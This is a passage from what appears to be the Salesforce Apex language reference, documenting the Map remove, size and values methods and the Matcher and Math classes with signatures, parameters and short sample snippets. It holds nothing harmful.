accts.add(new Account(Name='Account1'));
accts.add(new Account(Name='Account2'));
// Insert accounts so their IDs are populated.
insert accts;
Map<Id, Account> m = new Map<Id, Account>();
// Add all the records to the map.
m.putAll(accts);
System.assertEquals(2, m.size());

remove(key)
Removes the mapping for the specified key from the map, if present, and returns the corresponding value.

Signature
public Object remove(Key key)

Parameters
key

Type: Key

2210

Reference

Map Class

Return Value
Type: Object

Usage
If the key is a string, the key value is case-sensitive.

Example
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
String myColor = colorCodes.remove('Blue');
String code2 = colorCodes.get('Blue');
System.assertEquals(null, code2);

size()
Returns the number of key-value pairs in the map.

Signature
public Integer size()

Return Value
Type: Integer

Example
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
Integer mSize = colorCodes.size();
system.assertEquals(2, mSize);

values()
Returns a list that contains all the values in the map.

Signature
public List<Object> values()

2211

Reference

Matcher Class

Return Value
Type: List<Object>

Usage
The order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the same code.
For example, suppose the values() method returns a list containing value1 and index 0 and value2 and index 1. Subsequent
runs of the same code result in those values being returned in the same order.

Example
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
List<String> colors = new List<String>();
colors = colorCodes.values();

Matcher Class
Matchers use Patterns to perform match operations on a character string.

Namespace
System

Matcher Methods
The following are methods for Matcher.
IN THIS SECTION:
end()
Returns the position after the last matched character.
end(groupIndex)
Returns the position after the last character of the subsequence captured by the group index during the previous match operation.
If the match was successful but the group itself did not match anything, this method returns -1.
find()
Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence
of the input sequence matches this Matcher object's pattern.
find(group)
Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method
returns true if a subsequence of the input sequence matches this Matcher object's pattern.
group()
Returns the input subsequence returned by the previous match.

2212

Reference

Matcher Class

group(groupIndex)
Returns the input subsequence captured by the specified group index during the previous match operation. If the match was
successful but the specified group failed to match any part of the input sequence, null is returned.
groupCount()
Returns the number of capturing groups in this Matching object's pattern. Group zero denotes the entire pattern and is not included
in this count.
hasAnchoringBounds()
Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.
hasTransparentBounds()
Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque
region boundaries.
hitEnd()
Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When
this method returns true, it is possible that more input would have changed the result of the last search.
lookingAt()
Attempts to match the input sequence, starting at the beginning of the region, against the pattern.
matches()
Attempts to match the entire region against the pattern.
pattern()
Returns the Pattern object from which this Matcher object was created.
quoteReplacement(inputString)
Returns a literal replacement string for the specified string inputString. The characters in the returned string match the sequence
of characters in inputString.
region(start, end)
Sets the limits of this Matcher object's region. The region is the part of the input sequence that is searched to find a match.
regionEnd()
Returns the end index (exclusive) of this Matcher object's region.
regionStart()
Returns the start index (inclusive) of this Matcher object's region.
replaceAll(replacementString)
Replaces every subsequence of the input sequence that matches the pattern with the replacement string.
replaceFirst(replacementString)
Replaces the first subsequence of the input sequence that matches the pattern with the replacement string.
requireEnd()
Returns true if more input could change a positive match into a negative one.
reset()
Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.
reset(inputSequence)
Resets this Matcher object with the new input sequence. Resetting a Matcher object discards all of its explicit state information.
start()
Returns the start index of the first character of the previous match.

2213

Reference

Matcher Class

start(groupIndex)
Returns the start index of the subsequence captured by the group specified by the group index during the previous match operation.
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.start(0)
is equivalent to m.start().
useAnchoringBounds(anchoringBounds)
Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions.
usePattern(pattern)
Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information
about the groups of the last match that occurred. The Matcher object's position in the input is maintained.
useTransparentBounds(transparentBounds)
Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions.

end()
Returns the position after the last matched character.

Signature
public Integer end()

Return Value
Type: Integer

end(groupIndex)
Returns the position after the last character of the subsequence captured by the group index during the previous match operation. If
the match was successful but the group itself did not match anything, this method returns -1.

Signature
public Integer end(Integer groupIndex)

Parameters
groupIndex

Type: Integer

Return Value
Type: Integer

Usage
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expressionm.end(0) is
equivalent to m.end().
See Understanding Capturing Groups.

2214

Reference

Matcher Class

find()
Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of
the input sequence matches this Matcher object's pattern.

Signature
public Boolean find()

Return Value
Type: Boolean

Usage
This method starts at the beginning of this Matcher object's region, or, if a previous invocation of the method was successful and the
Matcher object has not since been reset, at the first character not matched by the previous match.
If the match succeeds, more information can be obtained using the start, end, and group methods.
For more information, see Using Regions.

find(group)
Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method
returns true if a subsequence of the input sequence matches this Matcher object's pattern.

Signature
public Boolean find(Integer group)

Parameters
group

Type: Integer

Return Value
Type: Boolean

Usage
If the match succeeds, more information can be obtained using the start, end, and group methods.

group()
Returns the input subsequence returned by the previous match.

Signature
public String group()

2215

Reference

Matcher Class

Return Value
Type: String

Usage
Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully
matches the empty string in the input.

Signature
public String group(Integer groupIndex)

Parameters
groupIndex

Type: Integer

Return Value
Type: String

Usage
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.group(0)
is equivalent to m.group().
Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully
matches the empty string in the input.
See Understanding Capturing Groups.

groupCount()
Returns the number of capturing groups in this Matching object's pattern. Group zero denotes the entire pattern and is not included in
this count.

Signature
public Integer groupCount()

Return Value
Type: Integer

Usage
See Understanding Capturing Groups.

2216

Reference

Matcher Class

hasAnchoringBounds()
Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.

Signature
public Boolean hasAnchoringBounds()

Return Value
Type: Boolean

Usage
If a Matcher object uses anchoring bounds, the boundaries of this Matcher object's region match start and end of line anchors such as
^ and $.
For more information, see Using Bounds.

hasTransparentBounds()
Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque
region boundaries.

Signature
public Boolean hasTransparentBounds()

Return Value
Type: Boolean

Usage
For more information, see Using Bounds.

hitEnd()
Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When
this method returns true, it is possible that more input would have changed the result of the last search.

Signature
public Boolean hitEnd()

Return Value
Type: Boolean

lookingAt()
Attempts to match the input sequence, starting at the beginning of the region, against the pattern.

2217

Reference

Matcher Class

Signature
public Boolean lookingAt()

Return Value
Type: Boolean

Usage
Like the matches method, this method always starts at the beginning of the region; unlike that method, it does not require the entire
region be matched.
If the match succeeds, more information can be obtained using the start, end, and group methods.
See Using Regions.

matches()
Attempts to match the entire region against the pattern.

Signature
public Boolean matches()

Return Value
Type: Boolean

Usage
If the match succeeds, more information can be obtained using the start, end, and group methods.
See Using Regions.

pattern()
Returns the Pattern object from which this Matcher object was created.

Signature
public Pattern object pattern()

Return Value
Type: System.Pattern

quoteReplacement(inputString)
Returns a literal replacement string for the specified string inputString. The characters in the returned string match the sequence
of characters in inputString.

2218

Reference

Matcher Class

Signature
public static String quoteReplacement(String inputString)

Parameters
inputString

Type: String

Return Value
Type: String

Usage
Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.

region(start, end)
Sets the limits of this Matcher object's region. The region is the part of the input sequence that is searched to find a match.

Signature
public Matcher object region(Integer start, Integer end)

Parameters
start

Type: Integer
end

Type: Integer

Return Value
Type: Matcher

Usage
This method first resets the Matcher object, then sets the region to start at the index specified by start and end at the index specified
by end.
Depending on the transparency boundaries being used, certain constructs such as anchors may behave differently at or around the
boundaries of the region.
See Using Regions and Using Bounds.

regionEnd()
Returns the end index (exclusive) of this Matcher object's region.

2219

Reference

Matcher Class

Signature
public Integer regionEnd()

Return Value
Type: Integer

Usage
See Using Regions.

regionStart()
Returns the start index (inclusive) of this Matcher object's region.

Signature
public Integer regionStart()

Return Value
Type: Integer

Usage
See Using Regions.

replaceAll(replacementString)
Replaces every subsequence of the input sequence that matches the pattern with the replacement string.

Signature
public String replaceAll(String replacementString)

Parameters
replacementString

Type: String

Return Value
Type: String

Usage
This method first resets the Matcher object, then scans the input sequence looking for matches of the pattern. Characters that are not
part of any match are appended directly to the result string; each match is replaced in the result by the replacement string. The replacement
string may contain references to captured subsequences.

2220

Reference

Matcher Class

Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated
as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape
literal characters in the replacement string.
Invoking this method changes this Matcher object's state. If the Matcher object is to be used in further matching operations it should
first be reset.
Given the regular expression a*b, the input "aabfooaabfooabfoob", and the replacement string "-", an invocation of this
method on a Matcher object for that expression would yield the string "-foo-foo-foo-".

replaceFirst(replacementString)
Replaces the first subsequence of the input sequence that matches the pattern with the replacement string.

Signature
public String replaceFirst(String replacementString)

Parameters
replacementString

Type: String

Return Value
Type: String

Usage
Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated
as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape
literal characters in the replacement string.
Invoking this method changes this Matcher object's state. If the Matcher object is to be used in further matching operations it should
first be reset.
Given the regular expression dog, the input "zzzdogzzzdogzzz", and the replacement string "cat", an invocation of this
method on a Matcher object for that expression would return the string "zzzcatzzzdogzzz".

requireEnd()
Returns true if more input could change a positive match into a negative one.

Signature
public Boolean requireEnd()

Return Value
Type: Boolean

2221

Reference

Matcher Class

Usage
If this method returns true, and a match was found, then more input could cause the match to be lost.
If this method returns false and a match was found, then more input might change the match but the match won't be lost.
If a match was not found, then requireEnd has no meaning.

reset()
Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.

Signature
public Matcher object reset()

Return Value
Type: Matcher

Usage
This method does not change whether the Matcher object uses anchoring bounds. You must explicitly use the useAnchoringBounds
method to change the anchoring bounds.
For more information, see Using Bounds.

reset(inputSequence)
Resets this Matcher object with the new input sequence. Resetting a Matcher object discards all of its explicit state information.

Signature
public Matcher reset(String inputSequence)

Parameters
inputSequence

Type: String

Return Value
Type: Matcher

start()
Returns the start index of the first character of the previous match.

Signature
public Integer start()

2222

Reference

Matcher Class

Return Value
Type: Integer

Signature
public Integer start(Integer groupIndex)

Parameters
groupIndex

Type: Integer

Return Value
Type: Integer

Usage
See Understanding Capturing Groups on page 511.

useAnchoringBounds(anchoringBounds)
Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions.

Signature
public Matcher object useAnchoringBounds(Boolean anchoringBounds)

Parameters
anchoringBounds

Type: Boolean
If you specify true, the Matcher object uses anchoring bounds. If you specify false, non-anchoring bounds are used.

Return Value
Type: Matcher

Usage
If a Matcher object uses anchoring bounds, the boundaries of this Matcher object's region match start and end of line anchors such as
^ and $.
For more information, see Using Bounds on page 510.

2223

Reference

Math Class

usePattern(pattern)
Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information
about the groups of the last match that occurred. The Matcher object's position in the input is maintained.

Signature
public Matcher object usePattern(Pattern pattern)

Parameters
pattern

Type: System.Pattern

Return Value
Type: Matcher

useTransparentBounds(transparentBounds)
Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions.

Signature
public Matcher object useTransparentBounds(Boolean transparentBounds)

Parameters
transparentBounds

Type: Boolean
If you specify true, the Matcher object uses transparent bounds. If you specify false, opaque bounds are used.

Return Value
Type: Matcher

Usage
For more information, see Using Bounds.

Math Class
Contains methods for mathematical operations.

Namespace
System

2224

Reference

Math Class

Math Fields
The following are fields for Math.
IN THIS SECTION:
E
Returns the mathematical constant e, which is the base of natural logarithms.
PI
Returns the mathematical constant pi, which is the ratio of the circumference of a circle to its diameter.

E
Returns the mathematical constant e, which is the base of natural logarithms.

Signature
public static final Double E

Property Value
Type: Double

PI
Returns the mathematical constant pi, which is the ratio of the circumference of a circle to its diameter.

Signature
public static final Double PI

Property Value
Type: Double

Math Methods
The following are methods for Math. All methods are static.
IN THIS SECTION:
abs(decimalValue)
Returns the absolute value of the specified Decimal.
abs(doubleValue)
Returns the absolute value of the specified Double.
abs(integerValue)
Returns the absolute value of the specified Integer.
abs(longValue)
Returns the absolute value of the specified Long.

2225

Reference

Math Class

acos(decimalAngle)
Returns the arc cosine of an angle, in the range of 0.0 through pi.
acos(doubleAngle)
Returns the arc cosine of an angle, in the range of 0.0 through pi.
asin(decimalAngle)
Returns the arc sine of an angle, in the range of -pi/2 through pi/2.
asin(doubleAngle)
Returns the arc sine of an angle, in the range of -pi/2 through pi/2.
atan(decimalAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.
atan(doubleAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.
atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the
phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.
atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the
phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.
cbrt(decimalValue)
Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value's
magnitude.
cbrt(doubleValue)
Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value's
magnitude.
ceil(decimalValue)
Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer.
ceil(doubleValue)
Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer.
cos(decimalAngle)
Returns the trigonometric cosine of the angle specified by decimalAngle.
cos(doubleAngle)
Returns the trigonometric cosine of the angle specified by doubleAngle.
cosh(decimalAngle)
Returns the hyperbolic cosine of decimalAngle. The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number.
cosh(doubleAngle)
Returns the hyperbolic cosine of doubleAngle. The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number.
exp(exponentDecimal)
Returns Euler's number e raised to the power of the specified Decimal.
exp(exponentDouble)
Returns Euler's number e raised to the power of the specified Double.

2226

Reference

Math Class

floor(decimalValue)
Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer.
floor(doubleValue)
Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer.
log(decimalValue)
Returns the natural logarithm (base e) of the specified Decimal.
log(doubleValue)
Returns the natural logarithm (base e) of the specified Double.
log10(decimalValue)
Returns the logarithm (base 10) of the specified Decimal.
log10(doubleValue)
Returns the logarithm (base 10) of the specified Double.
max(decimalValue1, decimalValue2)
Returns the larger of the two specified Decimals.
max(doubleValue1, doubleValue2)
Returns the larger of the two specified Doubles.
max(integerValue1, integerValue2)
Returns the larger of the two specified Integers.
max(longValue1, longValue2)
Returns the larger of the two specified Longs.
min(decimalValue1, decimalValue2)
Returns the smaller of the two specified Decimals.
min(doubleValue1, doubleValue2)
Returns the smaller of the two specified Doubles.
min(integerValue1, integerValue2)
Returns the smaller of the two specified Integers.
min(longValue1, longValue2)
Returns the smaller of the two specified Longs.
mod(integerValue1, integerValue2)
Returns the remainder of integerValue1 divided by integerValue2.
mod(longValue1, longValue2)
Returns the remainder of longValue1 divided by longValue2.
pow(doubleValue, exponent)
Returns the value of the first Double raised to the power of exponent.
random()
Returns a positive Double that is greater than or equal to 0.0 and less than 1.0.
rint(decimalValue)
Returns the value that is closest in value to decimalValue and is equal to a mathematical integer.
rint(doubleValue)
Returns the value that is closest in value to doubleValue and is equal to a mathematical integer.

2227

Reference

Math Class

round(doubleValue)
Do not use. This method is deprecated as of the Winter '08 release. Instead, use Math.roundToLong. Returns the closest Integer
to the specified Double. If the result is less than -2,147,483,648 or greater than 2,147,483,647, Apex generates an error.
round(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards
the even neighbor.
roundToLong(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards
the even neighbor.
roundToLong(doubleValue)
Returns the closest Long to the specified Double.
signum(decimalValue)
Returns the signum function of the specified Decimal, which is 0 if decimalValue is 0, 1.0 if decimalValue is greater than
0, -1.0 if decimalValue is less than 0.
signum(doubleValue)
Returns the signum function of the specified Double, which is 0 if doubleValue is 0, 1.0 if doubleValue is greater than 0,
-1.0 if doubleValue is less than 0.
sin(decimalAngle)
Returns the trigonometric sine of the angle specified by decimalAngle.
sin(doubleAngle)
Returns the trigonometric sine of the angle specified by doubleAngle.
sinh(decimalAngle)
Returns the hyperbolic sine of decimalAngle. The hyperbolic sine of decimalAngle is defined to be (ex - e-x)/2 where e is
Euler's number.
sinh(doubleAngle)
Returns the hyperbolic sine of doubleAngle. The hyperbolic sine of doubleAngle is defined to be (ex - e-x)/2 where e is
Euler's number.
sqrt(decimalValue)
Returns the correctly rounded positive square root of decimalValue.
sqrt(doubleValue)
Returns the correctly rounded positive square root of doubleValue.
tan(decimalAngle)
Returns the trigonometric tangent of the angle specified by decimalAngle.
tan(doubleAngle)
Returns the trigonometric tangent of the angle specified by doubleAngle.
tanh(decimalAngle)
Returns the hyperbolic tangent of decimalAngle. The hyperbolic tangent of decimalAngle is defined to be (ex - e-x)/(ex +
e-x) where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh
is always less than 1.

2228

Reference

Math Class

tanh(doubleAngle)
Returns the hyperbolic tangent of doubleAngle. The hyperbolic tangent of doubleAngle is defined to be (ex - e-x)/(ex + e-x)
where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh is
always less than 1.

abs(decimalValue)
Returns the absolute value of the specified Decimal.

Signature
public static Decimal abs(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

abs(doubleValue)
Returns the absolute value of the specified Double.

Signature
public static Double abs(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Double

abs(integerValue)
Returns the absolute value of the specified Integer.

Signature
public static Integer abs(Integer integerValue)

Parameters
integerValue

Type: Integer

2229

Reference

Math Class

Return Value
Type: Integer

Example
Integer i = -42;
Integer i2 = math.abs(i);
system.assertEquals(i2, 42);

abs(longValue)
Returns the absolute value of the specified Long.

Signature
public static Long abs(Long longValue)

Parameters
longValue

Type: Long

Return Value
Type: Long

acos(decimalAngle)
Returns the arc cosine of an angle, in the range of 0.0 through pi.

Signature
public static Decimal acos(Decimal decimalAngle)

Parameters
decimalAngle

Type: Decimal

Return Value
Type: Decimal

acos(doubleAngle)
Returns the arc cosine of an angle, in the range of 0.0 through pi.

Signature
public static Double acos(Double doubleAngle)

2230

Reference

Math Class

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

asin(decimalAngle)
Returns the arc sine of an angle, in the range of -pi/2 through pi/2.

Signature
public static Decimal asin(Decimal decimalAngle)

Parameters
decimalAngle

Type: Decimal

Return Value
Type: Decimal

asin(doubleAngle)
Returns the arc sine of an angle, in the range of -pi/2 through pi/2.

Signature
public static Double asin(Double doubleAngle)

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

atan(decimalAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.

Signature
public static Decimal atan(Decimal decimalAngle)

2231

Reference

Math Class

Parameters
decimalAngle

Type: Decimal

Return Value
Type: Decimal

atan(doubleAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.

Signature
public static Double atan(Double doubleAngle)

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the phase
theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.

Signature
public static Decimal atan2(Decimal xCoordinate, Decimal yCoordinate)

Parameters
xCoordinate

Type: Decimal
yCoordinate

Type: Decimal

Return Value
Type: Decimal

2232

Reference

Math Class

Signature
public static Double atan2(Double xCoordinate, Double yCoordinate)

Parameters
xCoordinate

Type: Double
yCoordinate

Type: Double

Return Value
Type: Double

cbrt(decimalValue)
Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value's magnitude.

Signature
public static Decimal cbrt(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

cbrt(doubleValue)
Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value's magnitude.

Signature
public static Double cbrt(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Double

2233

Reference

Math Class

ceil(decimalValue)
Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer.

Signature
public static Decimal ceil(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

ceil(doubleValue)
Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer.

Signature
public static Double ceil(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Double

cos(decimalAngle)
Returns the trigonometric cosine of the angle specified by decimalAngle.

Signature
public static Decimal cos(Decimal decimalAngle)

Parameters
decimalAngle

Type: Decimal

Return Value
Type: Decimal

2234

Reference

Math Class

cos(doubleAngle)
Returns the trigonometric cosine of the angle specified by doubleAngle.

Signature
public static Double cos(Double doubleAngle)

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

cosh(decimalAngle)
Returns the hyperbolic cosine of decimalAngle. The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number.

Signature
public static Decimal cosh(Decimal decimalAngle)

Parameters
decimalAngle

Type: Decimal

Return Value
Type: Decimal

cosh(doubleAngle)
Returns the hyperbolic cosine of doubleAngle. The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number.

Signature
public static Double cosh(Double doubleAngle)

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

2235

Reference

Math Class

exp(exponentDecimal)
Returns Euler's number e raised to the power of the specified Decimal.

Signature
public static Decimal exp(Decimal exponentDecimal)

Parameters
exponentDecimal

Type: Decimal

Return Value
Type: Decimal

exp(exponentDouble)
Returns Euler's number e raised to the power of the specified Double.

Signature
public static Double exp(Double exponentDouble)

Parameters
exponentDouble

Type: Double

Return Value
Type: Double

floor(decimalValue)
Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer.

Signature
public static Decimal floor(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

2236

Reference

Math Class

floor(doubleValue)
Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer.

Signature
public static Double floor(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Double

log(decimalValue)
Returns the natural logarithm (base e) of the specified Decimal.

Signature
public static Decimal log(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

log(doubleValue)
Returns the natural logarithm (base e) of the specified Double.

Signature
public static Double log(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Double

2237

Reference

Math Class

log10(decimalValue)
Returns the logarithm (base 10) of the specified Decimal.

Signature
public static Decimal log10(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

log10(doubleValue)
Returns the logarithm (base 10) of the specified Double.

Signature
public static Double log10(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Double

max(decimalValue1, decimalValue2)
Returns the larger of the two specified Decimals.

Signature
public static Decimal max(Decimal decimalValue1, Decimal decimalValue2)

Parameters
decimalValue1

Type: Decimal
decimalValue2

Type: Decimal

2238

Reference

Math Class

Return Value
Type: Decimal

Example
Decimal larger = math.max(12.3, 156.6);
system.assertEquals(larger, 156.6);

max(doubleValue1, doubleValue2)
Returns the larger of the two specified Doubles.

Signature
public static Double max(Double doubleValue1, Double doubleValue2)

Parameters
doubleValue1

Type: Double
doubleValue2

Type: Double

Return Value
Type: Double

max(integerValue1, integerValue2)
Returns the larger of the two specified Integers.

Signature
public static Integer max(Integer integerValue1, Integer integerValue2)

Parameters
integerValue1

Type: Integer
integerValue2

Type: Integer

Return Value
Type: Integer

max(longValue1, longValue2)
Returns the larger of the two specified Longs.

2239

Reference

Math Class

Signature
public static Long max(Long longValue1, Long longValue2)

Parameters
longValue1

Type: Long
longValue2

Type: Long

Return Value
Type: Long

min(decimalValue1, decimalValue2)
Returns the smaller of the two specified Decimals.

Signature
public static Decimal min(Decimal decimalValue1, Decimal decimalValue2)

Parameters
decimalValue1

Type: Decimal
decimalValue2

Type: Decimal

Return Value
Type: Decimal

Example
Decimal smaller = math.min(12.3, 156.6);
system.assertEquals(smaller, 12.3);

min(doubleValue1, doubleValue2)
Returns the smaller of the two specified Doubles.

Signature
public static Double min(Double doubleValue1, Double doubleValue2)

2240

Reference

Math Class

Parameters
doubleValue1

Type: Double
doubleValue2

Type: Double

Return Value
Type: Double

min(integerValue1, integerValue2)
Returns the smaller of the two specified Integers.

Signature
public static Integer min(Integer integerValue1, Integer integerValue2)

Parameters
integerValue1

Type: Integer
integerValue2

Type: Integer

Return Value
Type: Integer

min(longValue1, longValue2)
Returns the smaller of the two specified Longs.

Signature
public static Long min(Long longValue1, Long longValue2)

Parameters
longValue1

Type: Long
longValue2

Type: Long

Return Value
Type: Long

2241

Reference

Math Class

mod(integerValue1, integerValue2)
Returns the remainder of integerValue1 divided by integerValue2.

Signature
public static Integer mod(Integer integerValue1, Integer integerValue2)

Parameters
integerValue1

Type: Integer
integerValue2

Type: Integer

Return Value
Type: Integer

Example
Integer remainder = math.mod(12, 2);
system.assertEquals(remainder, 0);
Integer remainder2 = math.mod(8, 3);
system.assertEquals(remainder2, 2);

mod(longValue1, longValue2)
Returns the remainder of longValue1 divided by longValue2.

Signature
public static Long mod(Long longValue1, Long longValue2)

Parameters
longValue1

Type: Long
longValue2

Type: Long

Return Value
Type: Long

pow(doubleValue, exponent)
Returns the value of the first Double raised to the power of exponent.

2242

Reference

Math Class

Signature
public static Double pow(Double doubleValue, Double exponent)

Parameters
doubleValue

Type: Double
exponent

Type: Double

Return Value
Type: Double

random()
Returns a positive Double that is greater than or equal to 0.0 and less than 1.0.

Signature
public static Double random()

Return Value
Type: Double

rint(decimalValue)
Returns the value that is closest in value to decimalValue and is equal to a mathematical integer.

Signature
public static Decimal rint(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

rint(doubleValue)
Returns the value that is closest in value to doubleValue and is equal to a mathematical integer.

Signature
public static Double rint(Double doubleValue)

2243

Reference

Math Class

Parameters
doubleValue

Type: Double

Return Value
Type: Double

Signature
public static Integer round(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Integer

round(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards the
even neighbor.

Signature
public static Integer round(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Integer

Usage
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

2244

Reference

Math Class

Example
Decimal d1 = 4.5;
Integer i1 = Math.round(d1);
System.assertEquals(4, i1);
Decimal d2 = 5.5;
Integer i2 = Math.round(d2);
System.assertEquals(6, i2);

roundToLong(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards the
even neighbor.

Signature
public static Long roundToLong(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Long

Usage
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

Example
Decimal d1 = 4.5;
Long i1 = Math.roundToLong(d1);
System.assertEquals(4, i1);
Decimal d2 = 5.5;
Long i2 = Math.roundToLong(d2);
System.assertEquals(6, i2);

roundToLong(doubleValue)
Returns the closest Long to the specified Double.

Signature
public static Long roundToLong(Double doubleValue)

2245

Reference

Math Class

Parameters
doubleValue

Type: Double

Return Value
Type: Long

signum(decimalValue)
Returns the signum function of the specified Decimal, which is 0 if decimalValue is 0, 1.0 if decimalValue is greater than 0,
-1.0 if decimalValue is less than 0.

Signature
public static Decimal signum(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

signum(doubleValue)
Returns the signum function of the specified Double, which is 0 if doubleValue is 0, 1.0 if doubleValue is greater than 0, -1.0
if doubleValue is less than 0.

Signature
public static Double signum(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Double

sin(decimalAngle)
Returns the trigonometric sine of the angle specified by decimalAngle.

2246

Reference

Math Class

Signature
public static Decimal sin(Decimal decimalAngle)

Parameters
decimalAngle

Type: Decimal

Return Value
Type: Decimal

sin(doubleAngle)
Returns the trigonometric sine of the angle specified by doubleAngle.

Signature
public static Double sin(Double doubleAngle)

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

sinh(decimalAngle)
Returns the hyperbolic sine of decimalAngle. The hyperbolic sine of decimalAngle is defined to be (ex - e-x)/2 where e is Euler's
number.

